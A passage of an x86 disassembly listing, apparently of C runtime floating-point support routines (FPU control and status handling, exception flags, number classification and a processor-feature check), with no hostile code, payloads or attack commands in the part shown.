[esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 265142Ah mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2670D31h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26A0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N 